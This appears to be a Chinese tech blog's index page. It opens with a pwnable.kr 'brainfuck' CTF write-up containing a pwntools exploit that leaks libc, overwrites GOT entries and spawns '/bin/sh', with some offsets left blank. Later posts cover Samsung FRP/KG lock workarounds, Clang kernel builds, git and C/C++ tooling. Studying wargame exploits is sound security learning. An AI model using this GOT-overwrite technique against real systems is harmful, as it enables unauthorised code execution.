pwnable.kr brainfuck writeup

0x01 Overview

‘’’
int __cdecl do_brainfuck(char a1)
{
int result; // eax
_BYTE *v2; // ebx

result = a1 - 43; // p = 0804A0A0
switch ( a1 )
{
case ‘+’:
result = p;
++*(_BYTE *)p; // (*p)++
break;
case ‘,’:
v2 = (_BYTE *)p;
result = getchar();
*v2 = result; // *(char )p = getchar()
break;
case ‘-‘:
result = p;
(_BYTE *)p; // (p)–
break;
case ‘.’:
result = putchar(
(char *)p); // print char *p
break;
case ‘<’:
result = –p; // p=p-1
break;
case ‘>’:
result = ++p; // p=p+1
break;
case ‘[‘:
result = puts(“[ and ] not supported.”);
break;
default:
return result;
}
return result;
}
‘’’

0x02 exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
from pwn import *

# b初始值
b = 0x804A0A0

# putchar got 读 获取libc泄漏地址
putchar_got = ?

# memset got 写入glibc gets的偏移地址
# gets(s)
memset_got = ?

# fgets got 写入glibc system的偏移地址
# system(s)
fgets_got = ?

# glibc put char addr ?
# glibc system addr ?
system_addr_to_putchar = ? - ?
gets_addr_to_putchar = ? - ?

# start address
start = 0x080484E0

# 0x01 创建连接
brainfuck = remote("pwnable.kr", 9001)
brainfuck.recvuntil(b']\n')

# 0x02 构造payload
# 第一个先发.的原因是延迟绑定
payload = b'.'+ \
b'<'*(b-putchar_got) + b'.>'*4 + \
b'<'*4 + b',>'*4 + b'<'*4 + \
b'<'*(putchar_got-memset_got) + b',>'*4 + b'<'*4 + \
b'<'*(memset_got-fgets_got) + b',>'*4 + b'<'*4 + b'.'

# 0x03 读libc leak
brainfuck.sendline(payload)

what = brainfuck.recv(1)
print("what?: ", what)

base = brainfuck.recv(4)
putchar_addr = int.from_bytes(base, "little")
print("putchar got: ", base, " ", hex(putchar_addr))

# 0x04 替换putchar为_start
brainfuck.send(start.to_bytes(4, 'little'))

# 0x05 替换memset为gets 替换fgets为system
gets_addr = putchar_addr + gets_addr_to_putchar
print("gets got: ", hex(gets_addr))
brainfuck.send(gets_addr.to_bytes(4, 'little'))

system_addr = putchar_addr + system_addr_to_putchar
print("system got: ", hex(system_addr))
brainfuck.send(system_addr.to_bytes(4, 'little'))

# 0x06 发送gets字符串
brainfuck.send(b'/bin/sh\x00')

# 0x07 获得shell
brainfuck.interactive()

关于三星FRP锁/REACTIVATION锁/CROM锁/RMM锁/KG STATUS锁

首先,傻逼三星!傻逼三星!傻逼三星!

1. FRP锁/REACTIVATION锁

与BL有关,FRP锁是谷歌账号锁,登录谷歌账号后自动变成ON,恢复出厂设置需要登录谷歌账号才能走完初始化流程。
谷歌服务在带陆被禁用,REACTIVATION锁是国行三星特有的,登录三星账号后,打开重新激活锁定,这个锁就变成ON,对应于FRP锁。

FRP锁和REACTIVATION锁打开的情况下,不允许从第三方kernel启动,不管是boot的kernel还是recovery的kernel,都会阻止。

解决方法:
打开设置-开发者选项-OEM UNLOCK,对于S8(G9500)这种OEM UNLOCK选项的,BL只能用国行的,因为港BL的FRP锁,一登录谷歌账号就启用,root等于不能登谷歌账号。

2. CROM锁

Custom ROM锁,国行特色,解锁才能刷第三方内核/系统/REC,这个还好,对应于booltloader锁,不傻逼。

3. RMM/KG锁

系统从刚恢复出厂设置到后面7天,这个锁都是ON的,同样不允许从第三方kernel启动。如果刷了第三方内核,又恢复出厂设置。。那么第一次开机初始化后,锁被打开,第二次开机就会开不了。啊这。。

解决方法:
可以干掉KG锁激活组件

c++程序并发的各种实现

前言

这几天一直在面试,经常问到线程进程区别,怎么用,什么的。我虽然会教科书式回答,但在c++中没有用过,心里总是虚的。

于是下定决心,好好学习下多进程-及其进程通信方式、多线程-及其线程间通信方式,啃下这个骨头。

另外挺感谢4.11百度第一个面试官的,脑袋短路,手撕本能写出来的,太紧张了太紧张了。
最后虽然答的不好还是放我过了。。。哎 不知道什么时候能改掉自己有些特定场景紧张的坏毛病。

Read more

Kernel Compile Guide(clang)

Guide

  1. Add the Clang commits to your kernel source
    https://android.googlesource.com/kernel/common/+log/f0907aa15ed9f9c7541bb244ed3f52c376ced19c
  2. Download/build a compatible Clang toolchain
  3. Download/build a copy of binutils
  4. Compile the kernel (for arm64, x86_64 is similar - example using AOSP’s toolchains):
1
2
3
4
5
6
7
8
9
10
11
export PATH=/home/ubuntu/gcc/bin:$PATH
export PATH=/home/ubuntu/clang/bin:$PATH
export CROSS_COMPILE=aarch64-linux-android-
export CLANG_TRIPLE=aarch64-linux-gnu-
export ARCH=arm64
export SUBARCH=arm64

make clean
make mrproper
make O=out lcblues-perf_defconfig
make -j$(nproc --all) O=out CC=clang CONFIG_DEBUG_SECTION_MISMATCH=y
1
make -j$(nproc --all) O=out

CC=clang CLANG_TRIPLE=aarch64-linux-gnu-

op5-perf_defconfig or msmcortex-perf_defconfig
After compiling, you can verify the toolchain used by opening out/include/generated/compile.h and looking at the LINUX_COMPILER option.

A couple of notes:

CLANG_TRIPLE is only needed when using AOSP’s version of Clang
export CC=clang does not work. You need to pass CC=clang to make like above.

关于git cherry-pick

首先fork一加官方kernel,然后clone自己仓

1
git clone 

清除无用的分支,再add一个一加官方的remote

1
2
git branch -r -d <branch>
git push origin <branch>
1
2
git remote add op https://github.com/OnePlusOSS/android_kernel_oneplus_msm8998
git fetch op HEAD:oneplus/QC8998_P_9.0

把它这个拿下来
切换到自己的QC8998_P_9.0分支,并merge一下

1
2
git checkout oneplus/QC8998_P_9.0
git merge op/oneplus/QC8998_P_9.0

或者自己cherry-pick

1
git cherry-pick commitid^..commitid

Problem

  1. WLAN驱动qca_cld3_wlan.ko的问题

一加官方内核repo里面是不包含qcacld3.0的源码的。它在开机的时候加载insmod /vedor/lib/module/qca_cl3_wlan.ko,见 /vendor/etc/init/hw/init.target.rc

但模块存在一个check_version的校验的问题,你如果不是从源码编译而来的,基本是过不去的,因此在启动的时候,驱动没加载,开机就没WiFi。

那么为什么Custom Rom没有这个问题?Custom Rom的内核是由CAF基线+一加的一些修改而成的,包含qcacld3源码,并且配置成includes到内核里。

那为什么第三方基于一加内核源码魔改的内核没有这个问题呢?特意看了commit,它魔改了/kernel/module.c,check_version遇到wlan直接return 1了。

现在我处于菜鸟阶段,因此我cherry-pick了这个commit…嘻嘻

  1. Clang LTO

还没开始,但可以肯定的是必遇到问题。

  1. 手势用不了

fixed

  1. Clang编译 CPU 总是Max Freq

fixed

  1. ZRAM LZ4

added

  1. EAS

added

  1. Dynamic SchedTune Boost

added

  1. wakelock

todo

  1. more tcp congestion control algorithm

todo

VS code C++头文件全局配置

为什么我随便编一个简单的C/C++都要创建项目c_cpp_properties.json

不创建就找不着一些头文件,真的挺烦的。
好在支持修改默认设置了:
https://code.visualstudio.com/docs/cpp/customize-default-settings-cpp

因此打开默认设置,加入你使用的头文件目录即可,我用mingw的,所以是:

1
2
3
4
5
"C_Cpp.default.includePath": [
"C:/Program Files (x86)/mingw64/include"
],
"C_Cpp.default.compilerPath": "C:/Program Files (x86)/mingw64/bin/g++.exe",
"C_Cpp.default.intelliSenseMode": "gcc-x64",

其实上面的includePath不需要设置, VS code 会根据compilerPath推断库文件的路径。

至此就舒服了,配合code runner插件,点一下即可运行,还配置个鬼的task和c_cpp_properties。

C实现C++类(封装、继承、多态)

定义一个结构体

  1. 封装: 使用函数指针封装属性、方法到结构体中
  2. 继承: 新结构体,包含”父”结构体或指向”父”结构体
  3. 多态: (1) C++语言允许函数重载和运算符重载。 (2) C++语言通过定义虚函数来支持动态联编,动态联编是多态性的一个重要的特征。

简单实现

Read more